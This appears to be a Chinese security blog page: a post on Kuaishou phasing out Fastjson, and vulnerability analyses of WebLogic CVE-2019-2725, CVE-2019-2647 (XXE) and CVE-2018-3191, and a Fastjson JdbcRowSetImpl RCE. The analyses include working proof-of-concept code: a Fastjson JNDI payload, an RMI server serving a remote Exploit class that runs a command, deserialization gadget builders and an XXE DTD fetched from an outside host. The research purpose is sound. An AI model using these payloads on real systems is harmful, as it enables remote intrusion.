xxlegend


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 搜索

看快手如何干掉Fastjson

发表于 2020-11-22 | 分类于 Fastjson | | 阅读次数

#看快手如何干掉Fastjson

##1.Fastjson 漏洞史
文章从公众号转移过来,在博客上做个记录。
Fastjson是一个阿里巴巴开发的java高性能JSON库,应用范围非常广,在github上star数已经超过2.2万。从2017年1月份到现在,Fastjson 已出现三次无任何条件限制的的远程代码执行(RCE)漏洞,在其中两次版本更新中,Fastjson官方在知情的情况下从未披露其更新涉及到漏洞,导致这些漏洞以0day在野,有的长达一年之久。另外其涉及到远程代码执行漏洞更新已有10多次,小编也做过好几次贡献,业内苦Fastjson 久已。下图是一个四哥给的调侃:
0
四哥给的调侃真的只是调侃吗?下面我们来具体看下Fastjson的更新历史:
1
画红框框的都修复了无任何限制的RCE漏洞,并且前两次中都没提到一个漏洞字眼,可想而知,根本就没把漏洞当做一回事,更谈不上CVE等漏洞管理跟踪措施。

2.快手Fastjson应急那些事
Fastjson使用非常广泛,在各大互联网公司各大框架中都有涉及。在 2019 年,快手因为 Fastjson 发起两次应急响应,分别是针对Fastjson-1.2.48版本的漏洞应急和Fastjson-1.2.60版本的漏洞应急。
在第一次应急中,由于该漏洞是无任何限制的RCE 0day,我们验证完PoC之后,就推动主站自查,在24小时内完成了升级。漏洞很严重,当时内部有些研发可能感知没那么清楚,为了产生更大的威慑力,我们在某个业务站点getshell,截了几张大大的getshell图丢到大群里,大家的动作立马快速了很多。主站主要靠人找服务就完成了升级,但是其他业务去找到所有存量还是有一定挑战的。下面是我们当时做的一些事情:
1.扫描器构造PoC发动扫描,安全组编写了Fastjson的扫描插件,对公司所有站点发起了扫描,还真发现一个漏洞。
2.利用快手代码搜索平台搜索代码仓库,当时还没有第三方库平台,惭愧。
3.从制品库搜索,解压了所有jar包,搜索相应代码,找出相应责任人。
第二次应急是针对Fastjson-1.2.60版本的,有了第一次的经验,从容了一些,搞定PoC,快速推动业务升级即可。
在2020年5 月末 Fastjson 又出 超级RCE 0day,各个安全团队都是焦头烂额,快手安全组从容了很多,我们只剩下个位数仓库受影响。

3.形成替代方案
在Fastjson-1.2.48和Fastjson-1.2.60版本漏洞的应急中,我们一直在反思,是不是得干掉Fastjson,怎么说服业务干掉Fastjson。对于Fastjson的代码质量,基础架构部有一些研究基础,认为Fastjson代码质量不是很好,这为后续推动Fastjson下线奠定了基础。
于是安全组调研了自身封装的Jackson和gson,形成一个初步结论,具体如下表:
| JSON库 | 安全性 | 性能 | 业务适配性 |
| ——– | —– | :—-: | —– |
| Fastjson | 1.漏洞通报机制差,0day漏洞满天飞,飞一年半载的不在话下。2.全局安全风险。3.代码质量差,如dos漏洞。4.官方在testcase中泄露漏洞PoC | 强 |适配度佳|
| Jackson2.x(xx in KF) | 1.已自行封装,去除不安全属性;2.漏洞管理机制好,CVE通告;3.从架构上无全局风险 | 自行封装版本加入afterburner,性能强 |自行封装,适配度佳 |
| gson | 基本无安全风险,代码质量高 | 一般 | 需自行评估 |

4.推动替代
有了前面的替代方案,接下来就是推动替代,说实话这真是一个很艰难的任务,对我们的挑战非常大。
第一要务是管住增量,目前是在第三方库的引入上未做强制卡点,但是对于Fastjson这种高危库,安全组在白盒扫描器中添加了相应规则,发现有新增的Fastjson,及时提醒业务方不允许使用。另外也在Check-style禁用了Fastjson,这样研发在开发的过程中就会感知到引入了高危的组件。
其次是存量Fastjson的替换,和基础架构组对出替代方案,依照业务优先级,优先推动主站等核心业务做替换,这些核心业务本身也很重视安全问题,几方立马就把这个事情推动下去了。这里面的核心挑战就是核心业务核心组件存在Fastjson依赖,第一步得把这里面的依赖给去除,否则其他位置还会间接引入Fastjson依赖。推完核心业务,接着按照类似模式推动对外业务,接着推动对内业务,历时快一年总共推动了不到1000个仓库完成替换。目前已经干掉了95%+Fastjson依赖。
对于快手来说,在安全工程师不会被饿死这件事上,fastjson在已经难以做贡献了(小编表示好慌)。

5.第三方库漏洞管控
第一次应急的过程中还在愁怎么找全Fastjson,不管是快手代码搜索平台还是制品库,都存在覆盖面不全的问题。后面为了提升应急速度,特别是这种第三方库漏洞的应急速度,从gitlab拉取了所有第三方库,通过和第三方漏洞库比较,形成了 Java 三方依赖安全检测。
2
第三方库漏洞甚至供应链漏洞已经成为不容忽视的一个漏洞形态,我们接下来也会投入更多力量到第三库漏洞管控上,欢迎大家一起交流进步。

CVE-2019-2725 分析

发表于 2019-04-30 | 分类于 Java | | 阅读次数

背景

这个漏洞最先由某厂商报给某银行,某银行再将该信息报给CNVD,后CNVD通告:国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814),详情见链接:cnvd
对于该漏洞,Oracle官方也破例了一回,提前发了补丁,但是这个补丁只是针对10.3.6系列的,对于12版本系列还未披露补丁。所以还是请各位谨慎对待,勒索大军跃跃欲试。

分析

某天接到工程线同事反馈的时候,说wls9-async存在远程代码执行漏洞,可能跟xmldecoder相关,因为一年前分析过该漏洞,详情
Weblogic XMLDecoder RCE分析
:当时第一直觉判断不应该是这个地方再出问题,查了一下相关接口,怀疑是SOAPInvokeState.getClonedSOAPMessage
的问题,后来进一步分析把这个地方排除了。一天后另一个同事给了一个非常模糊的poc,也看不到利用链。隐隐约约看到class,void,这就确定了是xmldecoder的问题,于是聚焦于xmldecoder的补丁。仔细一对比WorkContextXmlInputAdapter的validate接口,还真是能被绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }
                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }

核心问题在判断void标签和array标签的时候不是遇到这两个标签就抛出异常,而是做了一个for循环遍历,当属性为空的就不会进这个遍历循环,也就不会抛出异常,当然就能直接绕过。像网上一大堆使用类似<void class="xxx">的假poc,假分析文章的时候,就感觉安全圈还真是个娱乐圈。此处笑脸。虽然能过了这个验证环节,但还是需要结合xml的知识来完成完整利用,比如父类,比如Soap定义等等。这也就是有些开发人员更容易构造出绕过的PoC。
知道了漏洞点,构造出PoC还是有挺多拦路虎的,我这里简单列列。

前置知识

使用-Dweblogic.webservice.verbose=* -Dweblogic.wsee.verbose=*
第一步打开调试开关。
weblogic 处理SOAP的方式:
1.gif

有了这个SOAP请求处理框架图和日志,在发送测试请求的时候就能看出整个处理流程。部分日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|  <WSEE>/_async/AsyncResponseService  |
  --------------------------------------
<WSEE:23>Created<SoapMessageContext.<init>:48>
<WSEE:23>Processing MessageContextInitHandler...  <HandlerIterator.handleRequest:131>
<WSEE:23>Processing ConnectionHandler...  <HandlerIterator.handleRequest:131>
     ** S T A R T   R E Q U E S T **
<WSEE:23>HTTP REQUEST
  POST /_async/AsyncResponseService
............................
<WSEE:23> from Header, got serverName='AdminServer'<ForwardingHandler.handleRequest:321>
<WSEE:23>from LocalServerIdentity.getIdentity() got serverName='AdminServer'<ForwardingHandler.handleRequest:338>
<WSEE:23>Processing SoapFaultHandler...  <HandlerIterator.handleRequest:131>
<WSEE:23>Processing AsyncResponseWsrmWsscHandler...  <HandlerIterator.handleRequest:131>
<WSEE:23>AsyncResponseWsrmWsscHandler.handleRequest<AsyncResponseWsrmWsscHandler.handleRequest:82>
<WSEE:23>Processing InterceptionHandler...  <HandlerIterator.handleRequest:131>
<WSEE:23>Processing VersionRedirectHandler...  <HandlerIterator.handleRequest:131>
...................

从上述日志就可以看出,所有的请求都会经过webservice注册的21个Handler来处理,我们把断点下在HandlerIterator.handleRequest,就能截取每一个handler。这种通用的责任链模式在web容器中还是很普遍的。具体的handler如下:
2.png

过程分析

第一步,针对于这个_async入口,我们把重点放在AsyncResponseHandler上,通过其handleRequest的代码

1
2
3
4
5
6
public boolean handleRequest(MessageContext var1) {   
if (var1 == null) {        return true;    }
else if (!(var1 instanceof SOAPMessageContext)) {        return true;    }
else {        if (verbose) {            Verbose.log("AsyncResponseHandler.handleRequest");        }       
String var2 = (String)var1.getProperty("weblogic.wsee.addressing.RelatesTo");        if (var2 == null) {    
return false;        } else {

可以看出来必须设置RelatesTo属性,不然就直接返回了,不会进入后面反序列化的流程了。
根据 soap ws.addressing的定义ws
-address
,其格式为

1
2
3
4
5
6
7
<wsa:MessageID> xs:anyURI </wsa:MessageID>
<wsa:RelatesTo RelationshipType="..."?>xs:anyURI</wsa:RelatesTo>
<wsa:To>xs:anyURI</wsa:To>
<wsa:Action>xs:anyURI</wsa:Action>
<wsa:From>endpoint-reference</wsa:From>
<wsa:ReplyTo>endpoint-reference</wsa:ReplyTo>
<wsa:FaultTo>endpoint-reference</wsa:FaultTo>

所以poc中的第一步就是要加上ws-address的相关字段。

第二步就是在处理这个xml的过程中,必须删除多余的空格和换行,这是由于xmldecoder处理string标签的差异导致的。根据StringElementHandler的提示,可以看到

1
2
3
4
5
<string>description</string>is equivalent to {@code "description"} in Java code. The value of inner element is calculated before adding to the string using String#valueOf(Object) . Note that all characters are used including whitespaces (' ', '\t', '\n', '\r'). So the value of the element
<string><true></string> is not equal to the value of the element
<string>
<true>
</string>

也就是说紧凑和不紧凑是有本质区别的。不紧凑的话获取的内容是带换行和空格,这是我当时调试的时候死活找不到类的原因,坑了我不少时间。

第三步,过了前面那个坑就是找相应的payload去执行了,我给oracle提交了com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,无视jdk版本限制,目前公开的还有oracle.toplink.internal.sessions.UnitOfWorkChangeSet,这个类就是利用二次反序列化,二次反序列找的对象可包括
org.springframework.transaction.support.AbstractPlatformTransactionManager
,详情可见我以前的 分析文档,二次反序列还可以包括jdk7u21,rmi等等gadget,其实第一层的入口也还有挺多类,鉴于这个漏洞的严重性和急迫性,这里不做详细阐述,所以在添加规则的时候一定不能依据利用类来添加规则,说不定明天就被绕过了。下面在ProcessBuilder上下一个断点,调用栈如下:
3.png
4.png

这个漏洞以前跟过,这里就不再详细阐述。详细跟踪过程参考以前的分析文档

修复方式

新的补丁将class加入了黑名单

1
2
} else if (qName.equalsIgnoreCase("class")) {
               throw new IllegalStateException("Invalid element qName:class");

这种方式对于漏洞研究人员来说还是挺好玩的。
详细的补丁如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if (qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if (qName.equalsIgnoreCase("class")) {
               throw new IllegalStateException("Invalid element qName:class");
            } else if (qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if (qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if (qName.equalsIgnoreCase("void")) {
                  for(int i = 0; i < attributes.getLength(); ++i) {
                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                     }
                  }
               }
               if (qName.equalsIgnoreCase("array")) {
                  String attClass = attributes.getValue("class");
                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
                  String lengthString = attributes.getValue("length");
                  if (lengthString != null) {
                     try {
                        int length = Integer.valueOf(lengthString);
                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed array length limitation");
                        }
                        this.overallarraylength += length;
                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed over all array limitation.");
                        }
                     } catch (NumberFormatException var8) {

weblogic CVE-2019-2647等相关XXE漏洞分析

发表于 2019-04-19 | 分类于 weblogic xxe | | 阅读次数

背景

按照惯例,Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW
)一看就是一堆漏洞,高危的还好几个。
0
CVSS 评分为9.8的暂且不分析,我们先来看看wsee模块下的几个XXE漏洞,都是给的7.5的评分,个人觉得这分给的少,毕竟可以泄露weblogic的加密密钥和密码文件,破解之后就可以获取用户名和密码。在这些漏洞中要数@Matthias Kaiser的贡献最大,高危的都是他提交的。

简单分析

从补丁对比文件来看,在wsee模块下有5个都加了xxe的防护,那我们就从xxe漏洞入手。有一个新增的文件WSATStreamHelper.java,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package weblogic.wsee.wstx.wsat;
import ...
public class WSATStreamHelper {
   public static Source convert(InputStream in) {
      SAXParserFactory spf = SAXParserFactory.newInstance();
      SAXSource xmlSource = null;
      try {
         spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
         spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
         spf.setFeature("http://xml.org/sax/features/validation", false);
         spf.setNamespaceAware(true);
         spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
         xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in));
      } catch (Exception var4) {
         if (WSATHelper.isDebugEnabled()) {
            WSATHelper.getInstance().debug("Failed to call setFeature in SAXParserFactory. ");
         }
      }
      return xmlSource;
   }
}

稍微懂点xxe漏洞的人都知道这是xxe的防护代码,这个文件新加到了ForeignRecoveryContext.java和WSATXAResource.java中,就拿
ForeignRecoveryContext来入手。其修复后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
   public void readExternal(ObjectInput in) throws ClassNotFoundException, IOException {
      klassVersion = in.readInt();
      this.fxid = (Xid)in.readObject();
      this.debug("ForeignRecoveryContext.readExternal tid:" + this.fxid);
      this.version = (Version)in.readObject();
      int len = in.readInt();
      byte[] eprBytes = new byte[len];
      in.readFully(eprBytes);
      this.epr = EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes)));
      this.debug("ForeignRecoveryContext.readExternal EndpointReference:" + this.epr);
      ForeignRecoveryContextManager.getInstance().add(this);
   }

仔细对比下来就是EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes)));WSATStreamHelper.convert是新加的,从前面代码中也可以看到在convert的过程中启用了xxe防护。再一看这个函数还是readExternal,这不就是典型的反序列化漏洞的入口吗?看官看到这就知道payload怎么来了,最典型的就是通过T3协议,如下就是如何构造PoC了。

PoC构造

构造PoC还是有些弯路的,最典型的就是为什么拿ForeignRecoveryContext.java入手,其实看官可以尝试些其他漏洞点,构造的时候会遇到一些问题,有些问题不好一时解决所以就转到ForeignRecoveryContext.java。言归正传,详细的构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static class MyEndpointReference extends EndpointReference{
    public  void writeTo(Result result){
        byte[] tmpbytes = new byte[4096];
        int nRead;
        try{
            InputStream is = new FileInputStream(new File("test.xml"));
            
            while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
                ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        return;
    }
}
public static Object getXXEObject(String command) {
int klassVersion = 1032;
Xid xid = new weblogic.transaction.internal.XidImpl();
Version v = Version.DEFAULT;
byte[] tid = new byte[]{65};
weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext();
try{
Field f = frc.getClass().getDeclaredField("fxid");
f.setAccessible(true);
f.set(frc,xid);
Field f1 = frc.getClass().getDeclaredField("epr");
f1.setAccessible(true);
f1.set(frc,(EndpointReference)new MyEndpointReference());
Field f2 = frc.getClass().getDeclaredField("version");
f2.setAccessible(true);
f2.set(frc,v);
}catch(Exception e){
e.printStackTrace();
}
return frc;
}

test.xml的内容可以是任意的xxe的payload:比如说如下,
xxe,测试payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://xxlegend.com/weblogic" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

关键点都展示完了,秀一下成果。

成果

可以看到调用栈如下:
2

Weblogic CVE-2018-3191分析

发表于 2018-10-23 | 分类于 Java | | 阅读次数

已经在公众号发表,链接地址:https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg

1 背景

北京时间10月17日,Oracle官方发布的10月关键补丁更新CPU(Critical Patch Update)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191)。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。这个漏洞由Matthias Kaiser,loopx9,Li Zhengdong申报。
1

2 补丁分析

如下图所示
2
这回的补丁主要增加了两个大类黑名单,分别是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager,RemoteObject是用于修补漏洞编号为CVE-2018-3245的漏洞,当时笔者在报这个漏洞的过程中就将所有涉及到RemoteObject相关的poc都提交给了Oracle官方。AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入,从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样,只是来源于不同的包。

3 动态分析

通过前一章的静态分析已经知道CVE-2018-3191所对应的补丁,就是AbstractPlatformTransactionManager,用于防止Spring JNDI注入。在我们的PoC中主要用到JtaTransactionManager这个类。下面来看一下这个类中关键的几个地方。

1
2
3
4
5
6
7
8
9
public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};
public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";
private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";
private transient JndiTemplate jndiTemplate;
private transient UserTransaction userTransaction;
private String userTransactionName;
.....

JtaTransactionManager类继承自AbstractPlatformTransactionManager,实现了Serializable接口,其中私有属性userTransactionName是用于JNDI寻址。
在Java反序列化中,入口有很多,readObject是最常见的,定位到JtaTransactionManager.readObject方法,实现如下:

1
2
3
4
5
6
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}

继续跟踪initUserTransactionAndTransactionManager方法的实现:

1
2
3
4
5
6
7
8
9
10
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
this.userTransaction = this.retrieveUserTransaction();
}
}
.....

在 initUserTransactionAndTransactionManager的方法中就有基于JNDI寻址方法lookupUserTransaction
关键寻址部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
} catch (NamingException var3) {
throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
}
}

有了如上的分析,构造PoC也是水到渠成,下面是PoC的关键代码:

1
2
3
4
5
6
7
8
9
10
public static Object getJtaTransactionManagerObject(String command){
int seq = command.indexOf(':');
if (seq < 0){
command = "rmi://localhost:1099/Exploit";
}
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}

更详细的关于JNDI的使用可参考作者以前的博文,这里不再重复。漏洞效果如下图:
3

由于这个漏洞利用的gadget是weblogic中自带的,跟JDK版本无关,所以只要系统能连外网,未禁止T3协议,漏洞就可以利用,威力巨大,请尽快升级到Weblogic最新版。

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

发表于 2018-10-23 | 分类于 Java | | 阅读次数

发表于2017年11月22日,修改于2018年10月23日

背景

这篇文章主要是基于我在看雪2017开发者峰会的演讲而来,由于时间和听众对象的关系,在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少,另外我在5月份分享的Fastjson Poc构造与分析限制条件太多,所以写下这篇文章。

Fastjson 使用

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址:https://github.com/alibaba/fastjson。那我们看下如何使用?首先定义一个User.java,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class User {
private Long id;
private String name;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

序列化的代码如下:

1
2
3
4
5
6
import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);

反序列化的代码示例:

1
2
String jsonString = "{\"name\":\"guest\",\"id\":12}";
User user = JSON.parseObject(jsonString, User.class);

上述代码的parseObject也可以直接用parse接口。

Fastjson安全特性

反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类,调用其set,get,is方法。
1
上图则是Fastjson反序列框架图。JSON门面类,提供一些静态方法,如parse,parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig,主要保存一些相关配置信息。也引用了JSONLexerBase,这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关,将一些类加到黑名单中,后续我也给它报过bypass,fastjson也一并修复。

JNDI

JNDI即Java Naming and Directory Interface,翻译成中文就Java命令和目录接口,2016年的blackhat大会上web议题重点讲到,但是对于json这一块没有涉及。JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。我们可以看一下它的架构图
2,JNDI提供了一个统一的外部接口,底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象,即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的RMI服务,切换到我们控制的RMI/LDAP服务等等。

1
2
3
4
5
Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class
Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind(“Exploit", referenceWrapper);

这段代码主要讲到了在1099端口上创建一个RMI服务,RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务,即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试:

1
2
3
4
5
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

PoC构造与分析

介绍的背景有点多,正式切入我们的正题,基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候,我也公布了Fastjson基于TemplateImpl的PoC的,但是限制还比较多,需要打开SupportNonPublic开关,这个场景是比较少见的,详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/,后续ricterz也作了一篇分析:https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up。
在看雪峰会上我提到了好几种PoC,下面我简单的给这些PoC做个分类:
1,基于TemplateImpl
2,基于JNDI Bean Property类型
3,基于JNDI Field类型

今天主讲基于JNDI Bean Property这个类型,这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter,getter方法触发,而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下,其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制,当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于这个PoC是基于JNDI,下面我们简单构造一下,首先是服务端的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class JNDIServer {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class即可
Reference reference = new Reference("Exloit",
"Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
start();
}
}

rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下,这个Exploit.class是一个factory,通过Exploit.java编译得来,在JNDI执行的过程会被初始化。如下是Exploit.java的代码:

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

服务端构造好之后,下面来看java应用执行的代码,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
// String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
// " \"autoCommit\":true}";
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
}
}

完整的代码已经放到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PoC调用栈如下
![3](/images/JdbcRowSetImpl_3.png)
从这个调用栈就可以看出,在进入Gadget之前,首先是Java应用调用Fastjson的parseObject或者parse接口,进入JavaObjectDeserializer.deserialize方法,经过一系列判断之后发现是JavaBean,就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域,在这个过程中都是通过反射调用这些域的getter,setter或者is方法,这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的,首先是设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。
```java
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}

设置autoCommit属性:

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if(this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

这setAutoCommit里函数里会触发connect函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;
} else if(this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
